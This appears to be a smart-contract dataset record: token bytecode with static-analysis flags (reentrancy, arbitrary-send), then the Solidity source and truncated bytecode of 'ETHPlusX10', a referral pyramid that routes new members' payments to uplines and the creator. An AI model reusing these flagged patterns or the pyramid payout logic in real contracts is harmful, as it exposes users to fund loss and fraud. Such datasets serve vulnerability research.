01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610cd757600080fd5b505afa158015610ceb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0f9190611fe2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610d5757600080fd5b505af1158015610d6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8f9190611fe2565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ddc5760405162461bcd60e51b81526004016107d590612157565b6001821115610dea57600080fd5b6013811115610df857600080fd5b600b91909155600c55565b6000546001600160a01b03163314610e2d5760405162461bcd60e51b81526004016107d590612157565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061073833848461113f565b6000546001600160a01b03163314610e825760405162461bcd60e51b81526004016107d590612157565b600d821115610e9057600080fd5b600d811115610e9e57600080fd5b600e91909155601055565b6000546001600160a01b03163314610ed35760405162461bcd60e51b81526004016107d590612157565b6004811115610ee157600080fd5b610eed81610e1061225e565b60185550565b6000546001600160a01b03163314610f1d5760405162461bcd60e51b81526004016107d590612157565b601c54811015610f2c57600080fd5b601c55565b6000546001600160a01b03163314610f5b5760405162461bcd60e51b81526004016107d590612157565b6001600160a01b038116610fc05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107d5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661107d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107d5565b6001600160a01b0382166110de5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107d5565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107d5565b6001600160a01b0382166112055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107d5565b600081116112675760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107d5565b6001600160a01b03821660009081526009602052604090205460ff16156112a05760405162461bcd60e51b81526004016107d59061218c565b6001600160a01b03831660009081526009602052604090205460ff16156112d95760405162461bcd60e51b81526004016107d59061218c565b3360009081526009602052604090205460ff16156113095760405162461bcd60e51b81526004016107d59061218c565b6000546001600160a01b0384811691161480159061133557506000546001600160a01b03838116911614155b156116ae57601a54600160a01b900460ff166113935760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107d5565b601a546001600160a01b0383811691161480156113be57506019546001600160a01b03848116911614155b15611470576001600160a01b03821630148015906113e557506001600160a01b0383163014155b80156113ff57506017546001600160a01b03838116911614155b801561141957506017546001600160a01b03848116911614155b1561147057601b548111156114705760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107d5565b601a546001600160a01b0383811691161480159061149c57506017546001600160a01b03838116911614155b80156114b157506001600160a01b0382163014155b80156114c857506001600160a01b03821661dead14155b156115a857601c54816114da846109cb565b6114e49190612224565b1061153d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107d5565b601a54600160b81b900460ff16156115a857600a5461155e906104b0612224565b42116115a857601e548111156115a85760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107d5565b60006115b3306109cb565b601d5490915081118080156115d25750601a54600160a81b900460ff16155b80156115ec5750601a546001600160a01b03868116911614155b80156116015750601a54600160b01b900460ff165b801561162657506001600160a01b03851660009081526006602052604090205460ff16155b801561164b57506001600160a01b03841660009081526006602052604090205460ff16155b156116ab57601354600090156116865761167b606461167560135486611aeb90919063ffffffff16565b90611b6a565b905061168681611bac565b611698611693828561227d565b611962565b4780156116a8576116a8476118a0565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806116f057506001600160a01b03831660009081526006602052604090205460ff165b806117225750601a546001600160a01b038581169116148015906117225750601a546001600160a01b03848116911614155b1561172f57506000611854565b601a546001600160a01b03858116911614801561175a57506019546001600160a01b03848116911614155b156117b5576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a5414156117b5576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156117e057506019546001600160a01b03858116911614155b15611854576001600160a01b0384166000908152600460205260409020541580159061183157506018546001600160a01b038516600090815260046020526040902054429161182e91612224565b10155b1561184757600b54601155600c54601255611854565b600f546011556010546012555b61186084848484611bb9565b50505050565b6000818484111561188a5760405162461bcd60e51b81526004016107d59190612102565b506000611897848661227d565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156118da573d6000803e3d6000fd5b5050565b60006007548211156119455760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107d5565b600061194f611bed565b905061195b8382611b6a565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106119aa576119aa6122aa565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156119fe57600080fd5b505afa158015611a12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a369190611fe2565b81600181518110611a4957611a496122aa565b6001600160a01b039283166020918202929092010152601954611a6f913091168461101b565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611aa89085906000908690309042906004016121b3565b600060405180830381600087803b158015611ac257600080fd5b505af1158015611ad6573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611afa5750600061073c565b6000611b06838561225e565b905082611b13858361223c565b1461195b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107d5565b600061195b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c10565b6108203061dead8361113f565b80611bc657611bc6611c3e565b611bd1848484611c83565b8061186057611860601454601155601554601255601654601355565b6000806000611bfa611d7a565b9092509050611c098282611b6a565b9250505090565b60008183611c315760405162461bcd60e51b81526004016107d59190612102565b506000611897848661223c565b601154158015611c4e5750601254155b8015611c5a5750601354155b15611c6157565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611c9587611dba565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611cc79087611e17565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611cf69086611e59565b6001600160a01b038916600090815260026020526040902055611d1881611eb8565b611d228483611f02565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611d6791815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611d958282611b6a565b821015611db157505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611dd78a601154601254611f26565b9250925092506000611de7611bed565b90506000806000611dfa8e878787611f75565b919e509c509a509598509396509194505050505091939550919395565b600061195b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611866565b600080611e668385612224565b90508381101561195b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107d5565b6000611ec2611bed565b90506000611ed08383611aeb565b30600090815260026020526040902054909150611eed9082611e59565b30600090815260026020526040902055505050565b600754611f0f9083611e17565b600755600854611f1f9082611e59565b6008555050565b6000808080611f3a60646116758989611aeb565b90506000611f4d60646116758a89611aeb565b90506000611f6582611f5f8b86611e17565b90611e17565b9992985090965090945050505050565b6000808080611f848886611aeb565b90506000611f928887611aeb565b90506000611fa08888611aeb565b90506000611fb282611f5f8686611e17565b939b939a50919850919650505050505050565b600060208284031215611fd757600080fd5b813561195b816122c0565b600060208284031215611ff457600080fd5b815161195b816122c0565b6000806040838503121561201257600080fd5b823561201d816122c0565b9150602083013561202d816122c0565b809150509250929050565b60008060006060848603121561204d57600080fd5b8335612058816122c0565b92506020840135612068816122c0565b929592945050506040919091013590565b6000806040838503121561208c57600080fd5b8235612097816122c0565b946020939093013593505050565b6000602082840312156120b757600080fd5b8135801515811461195b57600080fd5b6000602082840312156120d957600080fd5b5035919050565b600080604083850312156120f357600080fd5b50508035926020909101359150565b600060208083528351808285015260005b8181101561212f57858101830151858201604001528201612113565b81811115612141576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122035784516001600160a01b0316835293830193918301916001016121de565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561223757612237612294565b500190565b60008261225957634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561227857612278612294565b500290565b60008282101561228f5761228f612294565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461082057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220278b02ddb33b283d50a7edc2dd11379850fe590facae57e54b2df0b18e1716c564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,413 |
0x40b3381e83b8181e9f0b130872343066eea5c9e7
|
/**
*Submitted for verification at Etherscan.io on 2020-05-03
*/
pragma solidity >=0.6.3 <0.7.0;
contract ETHPlusX10 {
address public creator;
uint256 MAX_LEVEL = 9;
uint256 REFERRALS_LIMIT = 2;
uint256 LEVEL_EXPIRE_TIME = 30 days;
uint256 LEVEL_HIGHER_FOUR_EXPIRE_TIME = 10000 days;
mapping(address => User) public users;
mapping(uint256 => address) public userAddresses;
uint256 public last_uid;
mapping(uint256 => uint256) public feePrice;
mapping(uint256 => uint256) public directPrice;
mapping(uint256 => uint256) public levelPrice;
mapping(uint256 => uint256) public uplinesToRcvEth;
mapping(address => ProfitsRcvd) public rcvdProfits;
mapping(address => ProfitsGiven) public givenProfits;
mapping(address => LostProfits) public lostProfits;
struct User {
uint256 id;
uint256 referrerID;
address[] referrals;
mapping(uint256 => uint256) levelExpiresAt;
}
struct ProfitsRcvd {
uint256 uid;
uint256[] fromId;
address[] fromAddr;
uint256[] amount;
}
struct LostProfits {
uint256 uid;
uint256[] toId;
address[] toAddr;
uint256[] amount;
uint256[] level;
}
struct ProfitsGiven {
uint256 uid;
uint256[] toId;
address[] toAddr;
uint256[] amount;
uint256[] level;
uint256[] line;
}
modifier validLevelAmount(uint256 _level) {
require(msg.value == levelPrice[_level], "Invalid level amount sent");
_;
}
modifier userRegistered() {
require(users[msg.sender].id != 0, "User does not exist");
_;
}
modifier validReferrerID(uint256 _referrerID) {
require(
_referrerID > 0 && _referrerID <= last_uid,
"Invalid referrer ID"
);
_;
}
modifier userNotRegistered() {
require(users[msg.sender].id == 0, "User is already registered");
_;
}
modifier validLevel(uint256 _level) {
require(_level > 0 && _level <= MAX_LEVEL, "Invalid level entered");
_;
}
event RegisterUserEvent(
address indexed user,
address indexed referrer,
uint256 time
);
event BuyLevelEvent(
address indexed user,
uint256 indexed level,
uint256 time
);
event GetLevelProfitEvent(
address indexed user,
address indexed referral,
uint256 indexed level,
uint256 time
);
event LostLevelProfitEvent(
address indexed user,
address indexed referral,
uint256 indexed level,
uint256 time
);
constructor() public {
last_uid++;
creator = msg.sender;
levelPrice[1] = 0.17 ether;
levelPrice[2] = 0.35 ether;
levelPrice[3] = 0.80 ether;
levelPrice[4] = 1.60 ether;
levelPrice[5] = 2.50 ether;
levelPrice[6] = 3.50 ether;
levelPrice[7] = 6.60 ether;
levelPrice[8] = 15.20 ether;
levelPrice[9] = 24.50 ether;
feePrice[1] = 0.03 ether;
feePrice[2] = 0.04 ether;
feePrice[3] = 0.05 ether;
feePrice[4] = 0.06 ether;
feePrice[5] = 0.07 ether;
feePrice[6] = 0.08 ether;
feePrice[7] = 0.09 ether;
feePrice[8] = 0.10 ether;
feePrice[9] = 0.20 ether;
directPrice[1] = 0.04 ether;
directPrice[2] = 0.09 ether;
directPrice[3] = 0.15 ether;
directPrice[4] = 0.24 ether;
directPrice[5] = 0.34 ether;
directPrice[6] = 0.42 ether;
directPrice[7] = 0.51 ether;
directPrice[8] = 0.70 ether;
directPrice[9] = 1.26 ether;
uplinesToRcvEth[1] = 10;
uplinesToRcvEth[2] = 11;
uplinesToRcvEth[3] = 12;
uplinesToRcvEth[4] = 13;
uplinesToRcvEth[5] = 14;
uplinesToRcvEth[6] = 15;
uplinesToRcvEth[7] = 16;
uplinesToRcvEth[8] = 17;
uplinesToRcvEth[9] = 18;
users[creator] = User({
id: last_uid,
referrerID: 0,
referrals: new address[](0)
});
userAddresses[last_uid] = creator;
for (uint256 i = 1; i <= MAX_LEVEL; i++) {
users[creator].levelExpiresAt[i] = 1 << 37;
}
}
function registerUser(uint256 _referrerID)
public
payable
userNotRegistered()
validReferrerID(_referrerID)
validLevelAmount(1)
{
uint256 _level = 1;
if (
users[userAddresses[_referrerID]].referrals.length >=
REFERRALS_LIMIT
) {
_referrerID = users[findReferrer(userAddresses[_referrerID])].id;
}
last_uid++;
users[msg.sender] = User({
id: last_uid,
referrerID: _referrerID,
referrals: new address[](0)
});
userAddresses[last_uid] = msg.sender;
users[msg.sender].levelExpiresAt[_level] =
now +
getLevelExpireTime(_level);
users[userAddresses[_referrerID]].referrals.push(msg.sender);
transferLevelPayment(_level, msg.sender);
emit RegisterUserEvent(msg.sender, userAddresses[_referrerID], now);
}
function buyLevel(uint256 _level)
public
payable
userRegistered()
validLevel(_level)
validLevelAmount(_level)
{
for (uint256 l = _level - 1; l > 0; l--) {
require(
getUserLevelExpiresAt(msg.sender, l) >= now,
"Buy previous level first"
);
}
if (getUserLevelExpiresAt(msg.sender, _level) == 0) {
users[msg.sender].levelExpiresAt[_level] =
now +
getLevelExpireTime(_level);
} else {
users[msg.sender].levelExpiresAt[_level] += getLevelExpireTime(
_level
);
}
transferLevelPayment(_level, msg.sender);
emit BuyLevelEvent(msg.sender, _level, now);
}
function getLevelExpireTime(uint256 _level) public view returns (uint256) {
if (_level < 5) {
return LEVEL_EXPIRE_TIME;
} else {
return LEVEL_HIGHER_FOUR_EXPIRE_TIME;
}
}
function findReferrer(address _user) public view returns (address) {
if (users[_user].referrals.length < REFERRALS_LIMIT) {
return _user;
}
address[1632] memory referrals;
referrals[0] = users[_user].referrals[0];
referrals[1] = users[_user].referrals[1];
address referrer;
for (uint256 i = 0; i < 16382; i++) {
if (users[referrals[i]].referrals.length < REFERRALS_LIMIT) {
referrer = referrals[i];
break;
}
if (i >= 8191) {
continue;
}
referrals[(i + 1) * 2] = users[referrals[i]].referrals[0];
referrals[(i + 1) * 2 + 1] = users[referrals[i]].referrals[1];
}
require(referrer != address(0), "Referrer not found");
return referrer;
}
function transferLevelPayment(uint256 _level, address _user) internal {
uint256 height = _level;
address referrer = getUserUpline(_user, height);
if (referrer == address(0)) {
referrer = creator;
}
uint256 uplines = uplinesToRcvEth[_level];
bool chkLostProfit = false;
address lostAddr;
uint256 eth = msg.value;
for (uint256 i = 1; i <= uplines; i++) {
referrer = getUserUpline(_user, i);
if (chkLostProfit) {
lostProfits[lostAddr].uid = users[referrer].id;
lostProfits[lostAddr].toId.push(users[referrer].id);
lostProfits[lostAddr].toAddr.push(referrer);
lostProfits[lostAddr].amount.push(
(msg.value - feePrice[_level] - directPrice[_level]) /
uplinesToRcvEth[_level]
);
lostProfits[lostAddr].level.push(getUserLevel(referrer));
chkLostProfit = false;
emit LostLevelProfitEvent(referrer, msg.sender, _level, 0);
}
if (
referrer != address(0) &&
(users[_user].levelExpiresAt[_level] == 0 ||
getUserLevelExpiresAt(referrer, _level) < now)
) {
chkLostProfit = true;
uplines++;
lostAddr = referrer;
continue;
} else {
chkLostProfit = false;
}
if (referrer == address(0)) {
referrer = creator;
}
if (
address(uint160(referrer)).send(
(msg.value - feePrice[_level] - directPrice[_level]) /
uplinesToRcvEth[_level]
)
) {
eth =
eth -
((msg.value - feePrice[_level] - directPrice[_level]) /
uplinesToRcvEth[_level]);
rcvdProfits[referrer].uid = users[referrer].id;
rcvdProfits[referrer].fromId.push(users[msg.sender].id);
rcvdProfits[referrer].fromAddr.push(msg.sender);
rcvdProfits[referrer].amount.push(
(levelPrice[_level] -
feePrice[_level] -
directPrice[_level]) / uplinesToRcvEth[_level]
);
givenProfits[msg.sender].uid = users[msg.sender].id;
givenProfits[msg.sender].toId.push(users[referrer].id);
givenProfits[msg.sender].toAddr.push(referrer);
givenProfits[msg.sender].amount.push(
(levelPrice[_level] -
feePrice[_level] -
directPrice[_level]) / uplinesToRcvEth[_level]
);
givenProfits[msg.sender].level.push(getUserLevel(referrer));
givenProfits[msg.sender].line.push(i);
emit GetLevelProfitEvent(referrer, msg.sender, _level, now);
}
}
address directRefer = userAddresses[users[msg.sender].referrerID];
if (address(uint160(directRefer)).send(directPrice[_level])) {
eth = eth - directPrice[_level];
rcvdProfits[directRefer].uid = users[directRefer].id;
rcvdProfits[directRefer].fromId.push(users[msg.sender].id);
rcvdProfits[directRefer].fromAddr.push(msg.sender);
rcvdProfits[directRefer].amount.push(directPrice[_level]);
givenProfits[msg.sender].uid = users[msg.sender].id;
givenProfits[msg.sender].toId.push(users[directRefer].id);
givenProfits[msg.sender].toAddr.push(directRefer);
givenProfits[msg.sender].amount.push(directPrice[_level]);
givenProfits[msg.sender].level.push(getUserLevel(directRefer));
givenProfits[msg.sender].line.push(1);
emit GetLevelProfitEvent(directRefer, msg.sender, _level, now);
}
if (address(uint160(creator)).send(eth)) {
emit GetLevelProfitEvent(creator, msg.sender, _level, now);
}
}
function getUserUpline(address _user, uint256 height)
public
view
returns (address)
{
if (height <= 0 || _user == address(0)) {
return _user;
}
return
this.getUserUpline(
userAddresses[users[_user].referrerID],
height - 1
);
}
function getUserReferrals(address _user)
public
view
returns (address[] memory)
{
return users[_user].referrals;
}
function getUserProfitsFromId(address _user)
public
view
returns (uint256[] memory)
{
return rcvdProfits[_user].fromId;
}
function getUserProfitsFromAddr(address _user)
public
view
returns (address[] memory)
{
return rcvdProfits[_user].fromAddr;
}
function getUserProfitsAmount(address _user)
public
view
returns (uint256[] memory)
{
return rcvdProfits[_user].amount;
}
function getUserProfitsGivenToId(address _user)
public
view
returns (uint256[] memory)
{
return givenProfits[_user].toId;
}
function getUserProfitsGivenToAddr(address _user)
public
view
returns (address[] memory)
{
return givenProfits[_user].toAddr;
}
function getUserProfitsGivenToAmount(address _user)
public
view
returns (uint256[] memory)
{
return givenProfits[_user].amount;
}
function getUserProfitsGivenToLevel(address _user)
public
view
returns (uint256[] memory)
{
return givenProfits[_user].level;
}
function getUserProfitsGivenToLine(address _user)
public
view
returns (uint256[] memory)
{
return givenProfits[_user].line;
}
function getUserLostsToId(address _user)
public
view
returns (uint256[] memory)
{
return (lostProfits[_user].toId);
}
function getUserLostsToAddr(address _user)
public
view
returns (address[] memory)
{
return (lostProfits[_user].toAddr);
}
function getUserLostsAmount(address _user)
public
view
returns (uint256[] memory)
{
return (lostProfits[_user].amount);
}
function getUserLostsLevel(address _user)
public
view
returns (uint256[] memory)
{
return (lostProfits[_user].level);
}
function getUserLevelExpiresAt(address _user, uint256 _level)
public
view
returns (uint256)
{
return users[_user].levelExpiresAt[_level];
}
function getUserLevel(address _user) public view returns (uint256) {
if (getUserLevelExpiresAt(_user, 1) < now) {
return (0);
} else if (getUserLevelExpiresAt(_user, 2) < now) {
return (1);
} else if (getUserLevelExpiresAt(_user, 3) < now) {
return (2);
} else if (getUserLevelExpiresAt(_user, 4) < now) {
return (3);
} else if (getUserLevelExpiresAt(_user, 5) < now) {
return (4);
} else if (getUserLevelExpiresAt(_user, 6) < now) {
return (5);
} else if (getUserLevelExpiresAt(_user, 7) < now) {
return (6);
} else if (getUserLevelExpiresAt(_user, 8) < now) {
return (7);
} else if (getUserLevelExpiresAt(_user, 9) < now) {
return (8);
} else if (getUserLevelExpiresAt(_user, 10) < now) {
return (9);
}
}
function getUserDetails(address _user)
public
view
returns (uint256, uint256)
{
if (getUserLevelExpiresAt(_user, 1) < now) {
return (1, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 2) < now) {
return (2, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 3) < now) {
return (3, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 4) < now) {
return (4, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 5) < now) {
return (5, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 6) < now) {
return (6, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 7) < now) {
return (7, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 8) < now) {
return (8, users[_user].id);
} else if (getUserLevelExpiresAt(_user, 9) < now) {
return (9, users[_user].id);
}
}
receive() external payable {
revert();
}
}
|
0x6080604052600436106101e75760003560e01c80639877aa7f11610102578063d0a5313611610095578063df9a838811610064578063df9a838814610fc7578063e69c01711461106d578063eb75f123146110bc578063f6838a7214611121576101f1565b8063d0a5313614610e01578063d1a3f1b414610ea7578063d4a35c6214610ef6578063dade39c914610f9c576101f1565b8063c570388a116100d1578063c570388a14610c1a578063cadecd6914610cab578063cc3d967b14610cfa578063cf40ae2814610d66576101f1565b80639877aa7f14610a13578063a87430ba14610ab9578063aad049b314610b25578063ae78c8f514610b74576101f1565b80634015ba811161017a578063644661811161014957806364466181146107bc57806379d3e0cc146108625780637f5a17e01461090857806397dc67651461096d576101f1565b80634015ba8114610586578063502c9bd51461062c57806352e70b35146106a7578063575cea6b14610716576101f1565b80632ff8430f116101b65780632ff8430f146103865780633539cd06146103d557806339c301531461047b5780633e09c211146104e0576101f1565b806302d05d3f146101f65780631bbfae0e1461024d57806321923bde1461027b5780632ca6a9c4146102e0576101f1565b366101f157600080fd5b600080fd5b34801561020257600080fd5b5061020b61114f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102796004803603602081101561026357600080fd5b8101908080359060200190929190505050611174565b005b34801561028757600080fd5b506102ca6004803603602081101561029e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611749565b6040518082815260200191505060405180910390f35b3480156102ec57600080fd5b5061032f6004803603602081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061185f565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610372578082015181840152602081019050610357565b505050509050019250505060405180910390f35b34801561039257600080fd5b506103bf600480360360208110156103a957600080fd5b81019080803590602001909291905050506118f9565b6040518082815260200191505060405180910390f35b3480156103e157600080fd5b50610424600480360360208110156103f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611911565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561046757808201518184015260208101905061044c565b505050509050019250505060405180910390f35b34801561048757600080fd5b506104ca6004803603602081101561049e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ab565b6040518082815260200191505060405180910390f35b3480156104ec57600080fd5b5061052f6004803603602081101561050357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c9565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610572578082015181840152602081019050610557565b505050509050019250505060405180910390f35b34801561059257600080fd5b506105d5600480360360208110156105a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a99565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106185780820151818401526020810190506105fd565b505050509050019250505060405180910390f35b34801561063857600080fd5b506106656004803603602081101561064f57600080fd5b8101908080359060200190929190505050611b69565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106b357600080fd5b50610700600480360360408110156106ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b9c565b6040518082815260200191505060405180910390f35b34801561072257600080fd5b506107656004803603602081101561073957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bfa565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107a857808201518184015260208101905061078d565b505050509050019250505060405180910390f35b3480156107c857600080fd5b5061080b600480360360208110156107df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cca565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561084e578082015181840152602081019050610833565b505050509050019250505060405180910390f35b34801561086e57600080fd5b506108b16004803603602081101561088557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d64565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156108f45780820151818401526020810190506108d9565b505050509050019250505060405180910390f35b34801561091457600080fd5b506109576004803603602081101561092b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dfe565b6040518082815260200191505060405180910390f35b34801561097957600080fd5b506109bc6004803603602081101561099057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e1c565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156109ff5780820151818401526020810190506109e4565b505050509050019250505060405180910390f35b348015610a1f57600080fd5b50610a6260048036036020811015610a3657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611eb6565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610aa5578082015181840152602081019050610a8a565b505050509050019250505060405180910390f35b348015610ac557600080fd5b50610b0860048036036020811015610adc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f50565b604051808381526020018281526020019250505060405180910390f35b348015610b3157600080fd5b50610b5e60048036036020811015610b4857600080fd5b8101908080359060200190929190505050611f74565b6040518082815260200191505060405180910390f35b348015610b8057600080fd5b50610bc360048036036020811015610b9757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f8c565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610c06578082015181840152602081019050610beb565b505050509050019250505060405180910390f35b348015610c2657600080fd5b50610c6960048036036020811015610c3d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612026565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610cb757600080fd5b50610ce460048036036020811015610cce57600080fd5b8101908080359060200190929190505050612504565b6040518082815260200191505060405180910390f35b348015610d0657600080fd5b50610d4960048036036020811015610d1d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061251c565b604051808381526020018281526020019250505060405180910390f35b348015610d7257600080fd5b50610dbf60048036036040811015610d8957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061289f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e0d57600080fd5b50610e5060048036036020811015610e2457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a2a565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610e93578082015181840152602081019050610e78565b505050509050019250505060405180910390f35b348015610eb357600080fd5b50610ee060048036036020811015610eca57600080fd5b8101908080359060200190929190505050612ac4565b6040518082815260200191505060405180910390f35b348015610f0257600080fd5b50610f4560048036036020811015610f1957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ae4565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610f88578082015181840152602081019050610f6d565b505050509050019250505060405180910390f35b348015610fa857600080fd5b50610fb1612b7e565b6040518082815260200191505060405180910390f35b348015610fd357600080fd5b5061101660048036036020811015610fea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b84565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561105957808201518184015260208101905061103e565b505050509050019250505060405180910390f35b34801561107957600080fd5b506110a66004803603602081101561109057600080fd5b8101908080359060200190929190505050612c54565b6040518082815260200191505060405180910390f35b3480156110c857600080fd5b5061110b600480360360208110156110df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c6c565b6040518082815260200191505060405180910390f35b61114d6004803603602081101561113757600080fd5b8101908080359060200190929190505050612c8a565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541461122c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602